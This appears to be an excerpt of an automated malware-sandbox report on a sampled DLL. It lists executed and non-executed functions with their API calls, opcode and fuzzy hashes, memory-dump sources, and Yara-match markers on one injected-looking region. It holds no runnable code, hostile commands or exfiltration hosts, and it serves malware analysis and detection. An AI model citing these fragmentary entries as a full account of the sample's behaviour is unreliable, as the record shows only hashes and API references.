Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick$CallsDisableLibraryThread
String ID:
API String ID: 2118593989-0
Opcode ID: 7f9e3de563df32430cb50a5797d2934173ca63fe437b84d9b811d662fcc5e4c3
Instruction ID: b8f96c659d7c7386cef2095b466ce9186ef5d06de88868819ac78757745920c9
Opcode Fuzzy Hash: 7f9e3de563df32430cb50a5797d2934173ca63fe437b84d9b811d662fcc5e4c3
Instruction Fuzzy Hash: B851AE31D28B08CFDB12DFB8C440B99B7B8BF4A354F50461AD846B7241EB70E8828B90

Uniqueness

Uniqueness Score: -1.00%

Function 6E91A0C6, Relevance: 7.7, APIs: 5, Instructions: 188COMMON

Download Yara Rule

APIs

Part of subcall function 6E91828C: RtlAllocateHeap.NTDLL(00000000,?,?,?,6E907EB3,?,?,24448D6E,00000000,?,6E8F18D7,?,?,?), ref: 6E9182BE

_free.LIBCMT ref: 6E91A1D5
_free.LIBCMT ref: 6E91A1EC
_free.LIBCMT ref: 6E91A20B
_free.LIBCMT ref: 6E91A226
_free.LIBCMT ref: 6E91A23D

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: eb7df6eb6641dfc5381e255c0895c8bb71f1d7e2d069bd804a82f5ee89882114
Instruction ID: 618f71fe2543f0d186d052924af3278a8e8da76aa61f63e5688a145c5d500919
Opcode Fuzzy Hash: eb7df6eb6641dfc5381e255c0895c8bb71f1d7e2d069bd804a82f5ee89882114
Instruction Fuzzy Hash: FF51B071A08609AFDB51CFA9C840BEA77F8EF99724F004D69E809DB254E775DD058F80

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F4D10, Relevance: 7.6, APIs: 5, Instructions: 107COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6E8F4D46
std::_Lockit::_Lockit.LIBCPMT ref: 6E8F4D66
std::_Lockit::~_Lockit.LIBCPMT ref: 6E8F4D86
std::_Facet_Register.LIBCPMT ref: 6E8F4E21
std::_Lockit::~_Lockit.LIBCPMT ref: 6E8F4E39

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 5ef8476f6adad1d60b4f39cf1a473349667ee129de4b1323549e7c11fea556f9
Instruction ID: a7e88e0de8a968acbd58130fd1408f11d5a24bf6f9de2e5568d54ffc98a7e8d2
Opcode Fuzzy Hash: 5ef8476f6adad1d60b4f39cf1a473349667ee129de4b1323549e7c11fea556f9
Instruction Fuzzy Hash: 2841BE71904614CFDB62DF94C590AAEB7B9EF947A8F104A5ED805AB380DB30AD03CF81

Uniqueness

Uniqueness Score: -1.00%

Function 6E904AF8, Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6E904B35
dllmain_crt_dispatch.LIBCMT ref: 6E904B4C
dllmain_raw.LIBCMT ref: 6E904B94
dllmain_crt_dispatch.LIBCMT ref: 6E904BA7
dllmain_raw.LIBCMT ref: 6E904BBA

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: ef686568ba1d3b18233b0b63303d065af65a684f13894ebc518d853d179b4111
Instruction ID: 7d8810e63f475d8683f43d6fb98620aa4903c9d372d3e7b6b0448ceda4aac32c
Opcode Fuzzy Hash: ef686568ba1d3b18233b0b63303d065af65a684f13894ebc518d853d179b4111
Instruction Fuzzy Hash: CC218D72D04629AFCBA19E96CC40FAE3A6CEFE4B94B81442DF81497214C730CD038FA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F2070, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6E8F209B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 6E8F20EA

Part of subcall function 6E905592: _Yarn.LIBCPMT ref: 6E9055B1
Part of subcall function 6E905592: _Yarn.LIBCPMT ref: 6E9055D5

Strings

bad locale name, xrefs: 6E8F2106

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 3c716f6b3c6991331d7550a308edacf639ae4e5645bf131951809a710b6053da
Instruction ID: de10ff0bde39031b50e40726623e39e268d26fdb75dd7dbc3fdc1c9323e47f7c
Opcode Fuzzy Hash: 3c716f6b3c6991331d7550a308edacf639ae4e5645bf131951809a710b6053da
Instruction Fuzzy Hash: 8A115EB1504B849FD320CFA9C800787BBE8EF19614F008A5ED49AD7B40D775E504CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6E915C2B, Relevance: 4.6, APIs: 3, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6E91897C: GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918981
Part of subcall function 6E91897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E918A1F

_free.LIBCMT ref: 6E915CDC
_free.LIBCMT ref: 6E915D0A
_free.LIBCMT ref: 6E915D52

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorLast
String ID:
API String ID: 3291180501-0
Opcode ID: 111fcd9606140d572928c21a3522935a8dcf73e5fc9ebf275be83d749fc08991
Instruction ID: f0e80c4960677f820c3a2c2c3d93ba849a85e8a409329447fa8f10b82ffd4ac0
Opcode Fuzzy Hash: 111fcd9606140d572928c21a3522935a8dcf73e5fc9ebf275be83d749fc08991
Instruction Fuzzy Hash: F7417D3560820A9FD764CFECC885AE9B7F8EF4A314B25096DE459C7295DB31E8109F90

Uniqueness

Uniqueness Score: -1.00%

Function 6E915D91, Relevance: 4.6, APIs: 3, Instructions: 97COMMON

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 6E915DBD
__cftoe.LIBCMT ref: 6E915DEF
_free.LIBCMT ref: 6E915E15

Part of subcall function 6E90D611: IsProcessorFeaturePresent.KERNEL32(00000017,6E90D5E3,?,?,6E8F18D7,?,00000000,00000016,?,6E90D5F0,00000000,00000000,00000000,00000000,00000000,6E918169), ref: 6E90D613
Part of subcall function 6E90D611: GetCurrentProcess.KERNEL32(C0000417,?,?,?), ref: 6E90D636
Part of subcall function 6E90D611: TerminateProcess.KERNEL32(00000000), ref: 6E90D63D

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Process__cftoe$CurrentFeaturePresentProcessorTerminate_free
String ID:
API String ID: 3294049834-0
Opcode ID: bd1351bc3aac6ac24c70b19d714462bb54f4db354dba4f0df5ad60f916a77e33
Instruction ID: 16d3c436f1db69d3ee0ad3a89d50476f4893ffdc4233c43e180cff75437c323b
Opcode Fuzzy Hash: bd1351bc3aac6ac24c70b19d714462bb54f4db354dba4f0df5ad60f916a77e33
Instruction Fuzzy Hash: C021C776D0C20D7ADF109AD59C40EDF7BACDFC5220F21456AF925D6190EB30CA518EA1

Uniqueness

Uniqueness Score: -1.00%

Function 00DA9100, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 74processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,EDCDBEB4,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 00DA91EF

Strings

31, xrefs: 00DA919F

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID: CreateProcess
String ID: 31
API String ID: 963392458-1099231638
Opcode ID: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction ID: 26f543555e9ef4d71e4bf3a45df9c9469000e5214033ae524046a3eb5df52ce1
Opcode Fuzzy Hash: 802e8488796198306ded7f534c69eccd1f3fee1a7ddcada247a2de1a0aa744a2
Instruction Fuzzy Hash: 9231D272801259BBCF559FA6CD45CDFBFB5FF89714F108158FA1462120C3728A60EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6E91647D, Relevance: 3.1, APIs: 2, Instructions: 112COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6E91650A
_free.LIBCMT ref: 6E916530

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f7c8ff437a873408186b0f9c109b2687cdba373d991923dd6f77f704e07939fb
Instruction ID: 0547df89f3f8e27c29ff0b420d084e585d064066f9e0e3d105a73c65497602c6
Opcode Fuzzy Hash: f7c8ff437a873408186b0f9c109b2687cdba373d991923dd6f77f704e07939fb
Instruction Fuzzy Hash: 9131E875A2C7195BD7208EA89C40BDA33ADAF81724F154E25E925CB3C9E370DC42CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6E904941, Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6E90498E

Part of subcall function 6E90508F: InitializeSListHead.KERNEL32(6E93E898,6E904998,6E939F78,00000010,6E904929,?,?,?,6E904B51,?,00000001,?,?,00000001,?,6E939FC0), ref: 6E905094

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6E9049F8

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 174c0c3bbe92ea48e59b9917a0eb458f122896ef9f3b359dbec48a47ae95017f
Instruction ID: dcb2c133aff46f90292e204522b71f4a42088ab7561b73bc1059d15df7c07456
Opcode Fuzzy Hash: 174c0c3bbe92ea48e59b9917a0eb458f122896ef9f3b359dbec48a47ae95017f
Instruction Fuzzy Hash: 0821F332648311AEDF20ABF899103DC37A89FB6369F90481DC8916B1C1DB71C442CE96

Uniqueness

Uniqueness Score: -1.00%

Function 00DA0207, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNELBASE(000F59F5,00000000,?,?,?,?,?,?,?,9B842ACC,01B64447,00000000), ref: 00DA02E1

Strings

(Gt, xrefs: 00DA025E

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: (Gt
API String ID: 1586166983-558867117
Opcode ID: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction ID: 1066a475c775b61d15085a6e3efca191f321331734e1f92bdcc66329543a1b52
Opcode Fuzzy Hash: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction Fuzzy Hash: 992166B5E00208FBEF04DFA4CC0A9DEBBB2FB45714F108199E515AB250D7B65A10DF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E91A9D0, Relevance: 3.1, APIs: 2, Instructions: 67COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6E91AA1C
GetFileType.KERNELBASE(00000000), ref: 6E91AA2E

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: d7b8bda0200a962949f6558e586eda120f3948457a643d3a6848726b554f02d6
Instruction ID: bb01551c4d66c5dc61945376023fc22da599468796430441273d38faaf60d022
Opcode Fuzzy Hash: d7b8bda0200a962949f6558e586eda120f3948457a643d3a6848726b554f02d6
Instruction Fuzzy Hash: AD11DA3120CB566ED7704EBE8E947927A9AAF57230B240B1AD0B6D65F1C3B0DC8DDA40

Uniqueness

Uniqueness Score: -1.00%

Function 6E906D17, Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(?,?,6E905637,6E90567D), ref: 6E906D2A
IsProcessorFeaturePresent.KERNEL32(00000017,6E918A38,?,6E91D694,00000000,00000000,?,0113ED48,00000000), ref: 6E917AF5

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodeFeaturePointerPresentProcessor
String ID:
API String ID: 4030241255-0
Opcode ID: 6c2386e3422dd1b7883d1ca31e38515b4259c0e85cada91c1660ee63e1b83e47
Instruction ID: a84757d49096ab491045811d719d541557ec31479cac413ba4db4ecb068a80e7
Opcode Fuzzy Hash: 6c2386e3422dd1b7883d1ca31e38515b4259c0e85cada91c1660ee63e1b83e47
Instruction Fuzzy Hash: 4DF0B4B424CB0FAAFF255BE0E925BE53A6C9F53718F000818B619592D1DBA0C141DD52

Uniqueness

Uniqueness Score: -1.00%

Function 6E9153B5, Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 6E91C8EF: GetEnvironmentStringsW.KERNEL32 ref: 6E91C8F8
Part of subcall function 6E91C8EF: _free.LIBCMT ref: 6E91C957
Part of subcall function 6E91C8EF: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E91C966

_free.LIBCMT ref: 6E9153F5
_free.LIBCMT ref: 6E9153FC

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$EnvironmentStrings$Free
String ID:
API String ID: 2490078468-0
Opcode ID: 6cd9a313a0999996f51947084cbe49d40598b1bf81a7cb62eff3440bf4a37266
Instruction ID: d939d9f73b3282af0d170206ac9b2d32dd2ca29624987290380b69b689d7312f
Opcode Fuzzy Hash: 6cd9a313a0999996f51947084cbe49d40598b1bf81a7cb62eff3440bf4a37266
Instruction Fuzzy Hash: DCE0A02294CB5886A36626AE6C002D916589FD2239B120E27D8208B1C0DBA0CC021D92

Uniqueness

Uniqueness Score: -1.00%

Function 6E90419F, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 6E8F19DE

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 5bf7b2005d25805ba6a2624a30017a93a32feaa1b59e9767604e585f19fe0b63
Instruction ID: ecc2872d49c728a52b5e563152fed763ef8bdb3aed2645475803553cc4c5d1ec
Opcode Fuzzy Hash: 5bf7b2005d25805ba6a2624a30017a93a32feaa1b59e9767604e585f19fe0b63
Instruction Fuzzy Hash: D2014E7291030EBBCB109BD8DC004C9779CDF712647908939F914DB550EB70E5958FD5

Uniqueness

Uniqueness Score: -1.00%

Function 6E919827, Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6E91B406: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6E918B1E,00000001,00000364,00000008,000000FF,?,6E907EB3,?,?,24448D6E,00000000), ref: 6E91B447

_free.LIBCMT ref: 6E919847

Part of subcall function 6E918252: HeapFree.KERNEL32(00000000,00000000,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?), ref: 6E918268
Part of subcall function 6E918252: GetLastError.KERNEL32(?,?,6E923A72,?,00000000,?,?,?,6E923D17,?,00000007,?,?,6E921D29,?,?), ref: 6E91827A

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: e65bab35d9fabe05480c17a70acb5d4b7ec6b6849b6467fb406972976eea7665
Instruction ID: 79b02dd778b0d9d147d4c0246a5a13d4bf2a51a9994651e9082344c1d76ca6d1
Opcode Fuzzy Hash: e65bab35d9fabe05480c17a70acb5d4b7ec6b6849b6467fb406972976eea7665
Instruction Fuzzy Hash: CB01E976D00619ABCB10CFA9C841ADEBBB8FF88710F104666E914E7340E775EA55CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 00D9F3F7, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000), ref: 00D9F49F

Memory Dump Source

Source File: 00000001.00000002.696991092.0000000000D90000.00000040.00000010.sdmp, Offset: 00D90000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction ID: 960a89b03b9880a60a273364410823eb9b91adb431935553687f7a733356bdb0
Opcode Fuzzy Hash: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction Fuzzy Hash: EB1106B1E1021DEBDF04DFE4C94A6EEBBB4FB14315F108188E521AA240E7B45B548F80

Uniqueness

Uniqueness Score: -1.00%

Function 6E91B406, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6E918B1E,00000001,00000364,00000008,000000FF,?,6E907EB3,?,?,24448D6E,00000000), ref: 6E91B447

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 50779ad7097a21c164c878eb25f97465c51c17897f7869658abefaca4640c884
Instruction ID: d40491cd743bc13cbc33142f103165aec68db782a9cf2fa07e5ffe15469bb46a
Opcode Fuzzy Hash: 50779ad7097a21c164c878eb25f97465c51c17897f7869658abefaca4640c884
Instruction Fuzzy Hash: 2DF0BB3164D92EEAEF511AE6D845BDA376E9F42774F05C421D814963D8EB60D4014DE0

Uniqueness

Uniqueness Score: -1.00%

Function 6E91828C, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,6E907EB3,?,?,24448D6E,00000000,?,6E8F18D7,?,?,?), ref: 6E9182BE

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7d379cab3ba279378787068f071a1125e2b70c8b23c2677200f2bb67d79f72c3
Instruction ID: 76f77a89b2a886cb093272472343caa920ab95c8c148376839ec2caafaa7e442
Opcode Fuzzy Hash: 7d379cab3ba279378787068f071a1125e2b70c8b23c2677200f2bb67d79f72c3
Instruction Fuzzy Hash: 7FE0E53114DD2AABEA3A16E68D04BD63A4C9F573F4F010D20AC2196180CB60C8006DE7

Uniqueness

Uniqueness Score: -1.00%

Function 6E905B63, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 6E905B8B

Part of subcall function 6E905492: std::_Lockit::_Lockit.LIBCPMT ref: 6E9054A4
Part of subcall function 6E905492: std::locale::_Setgloballocale.LIBCPMT ref: 6E9054BF
Part of subcall function 6E905492: _Yarn.LIBCPMT ref: 6E9054D5
Part of subcall function 6E905492: std::_Lockit::~_Lockit.LIBCPMT ref: 6E905515

Memory Dump Source

Source File: 00000001.00000002.697336170.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000001.00000002.697318258.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697394980.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.697425072.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.697439887.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Lockitstd::_std::locale::_$InitLockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 238635018-0
Opcode ID: 214cad46febc65e152b7ad17ab74d410c6f9f262ad9f9aaff854c5953a0a80f3
Instruction ID: 457689abc6c8771bcf6c00494adb8e90dd15951d1bceb698de47672d372fec00
Opcode Fuzzy Hash: 214cad46febc65e152b7ad17ab74d410c6f9f262ad9f9aaff854c5953a0a80f3
Instruction Fuzzy Hash: 59E0DF72A61721AFDB645BE884113AD72D96FA1B15FD0882DD800AF6C8CBA0D8014F81

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6E8F9380, Relevance: 65.6, APIs: 28, Strings: 9, Instructions: 875memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 6E8F94EB
VariantInit.OLEAUT32(?), ref: 6E8F951A
VariantCopy.OLEAUT32(?,?), ref: 6E8F952B
SysFreeString.OLEAUT32(00000000), ref: 6E8F9578
SysFreeString.OLEAUT32(-00000001), ref: 6E8F9620
SysFreeString.OLEAUT32(00000000), ref: 6E8F9698
SysFreeString.OLEAUT32(FFFFFFFE), ref: 6E8F9735
SysFreeString.OLEAUT32(00000000), ref: 6E8F97AD
SysFreeString.OLEAUT32(FFFFFFFE), ref: 6E8F984A
SysFreeString.OLEAUT32(00000000), ref: 6E8F98C2
SysFreeString.OLEAUT32(-00000001), ref: 6E8F9959
SysFreeString.OLEAUT32(00000000), ref: 6E8F99D1
SysFreeString.OLEAUT32(?), ref: 6E8F9A71
VariantClear.OLEAUT32(?), ref: 6E8F9AAD
SysFreeString.OLEAUT32(-00000001), ref: 6E8F9AC5

Part of subcall function 6E8F7ED0: SysAllocString.OLEAUT32(?), ref: 6E8F7F46

SysFreeString.OLEAUT32(00000000), ref: 6E8F9B00

Part of subcall function 6E8F7ED0: VariantInit.OLEAUT32(?), ref: 6E8F7F78
Part of subcall function 6E8F7ED0: VariantChangeType.OLEAUT32(?,?,00000000,00000008), ref: 6E8F7FA0
Part of subcall function 6E8F7ED0: SysFreeString.OLEAUT32(-00000001), ref: 6E8F7FE1
Part of subcall function 6E8F7ED0: SysAllocString.OLEAUT32(?), ref: 6E8F8049
Part of subcall function 6E8F7ED0: VariantClear.OLEAUT32(?), ref: 6E8F806B
Part of subcall function 6E8F7ED0: _com_issue_error.COMSUPP ref: 6E8F8096
Part of subcall function 6E8F7ED0: _com_issue_error.COMSUPP ref: 6E8F80A0
Part of subcall function 6E8F7ED0: _com_issue_error.COMSUPP ref: 6E8F80A6
Part of subcall function 6E8F7ED0: _com_issue_error.COMSUPP ref: 6E8F80B0
Part of subcall function 6E8F7ED0: _com_issue_error.COMSUPP ref: 6E8F80BA

SysFreeString.OLEAUT32(00000000), ref: 6E8F9B1F
MultiByteToWideChar.KERNEL32(00000003,00000000,display,000000FF,00000000,00000000,?,00000000,A836F30C,76AFD5B0), ref: 6E8F9BA4
SysAllocStringLen.OLEAUT32(00000000,-00000001), ref: 6E8F9BAE
MultiByteToWideChar.KERNEL32(00000003,00000000,display,000000FF,00000000,00000000,?,00000000,A836F30C,76AFD5B0), ref: 6E8F9BCB
VarBstrCmp.OLEAUT32(00000000,00000000,00000400,00000000), ref: 6E8F9BE0
SysFreeString.OLEAUT32(00000000), ref: 6E8F9BEF
SysFreeString.OLEAUT32(00000000), ref: 6E8F9DF7
SysFreeString.OLEAUT32(00000000), ref: 6E8F9E3B
_com_issue_error.COMSUPP ref: 6E8F9E7D
_com_issue_error.COMSUPP ref: 6E8F9E83
_com_issue_error.COMSUPP ref: 6E8F9E8D
SysFreeString.OLEAUT32(76AFD5B0), ref: 6E8F9E98

Strings

fontFamily, xrefs: 6E8F9539
fontSize, xrefs: 6E8F9996
fontColor, xrefs: 6E8F9887
&, xrefs: 6E8F9E46
display, xrefs: 6E8F9B9B, 6E8F9BC2
